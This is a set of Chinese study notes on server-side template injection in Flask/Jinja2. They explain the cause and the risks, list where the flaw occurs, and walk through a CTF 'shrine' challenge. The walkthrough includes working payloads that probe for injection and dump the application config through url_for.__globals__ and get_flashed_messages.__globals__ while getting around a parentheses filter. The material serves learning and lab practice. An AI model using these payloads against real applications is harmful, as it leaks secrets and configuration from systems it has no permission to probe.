SSTI-原理&分类&检测&分析&利用
参考SSTI模板注入(Python+Jinja2)总结
1、什么是ssTI?有什么漏洞危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShel1等问题。其影响范围主要取决于模版引擎的复杂性。
2、如何判断检测ssTI漏洞的存在?
-输入的数据会被浏览器利用当前脚本语言调用解析执行


3、ssTI安全问题在生产环境那里产生?
-存在模版引用的地方,如404错误页面展示
-存在数据接收引用的地方,如模版解析获取参数数据
案例:
先访问判断存在注入
访问/shrine/{{2-2}},返回0,存在ssti注入
(看import的,有个flask,这个有ssti注入;看有没有模板解析函数,return那行正好有个template)
*有过滤括号
所以可以使用python flask支持的不用括号的全局变量函数:
url_for.__globals__
输入就是/shrine/{{url_for.__globals__}}
用这个可以找到flag/shrine/{{url_for.__globals__['current_app'].config}}
get_flashed_message()获取传递过来的数据,也可以用
/shrine/{{get_flashed_messages.__globals__}}
/shrine/{{get_flashed_messages.__globals__ ['current_ app'].config}}

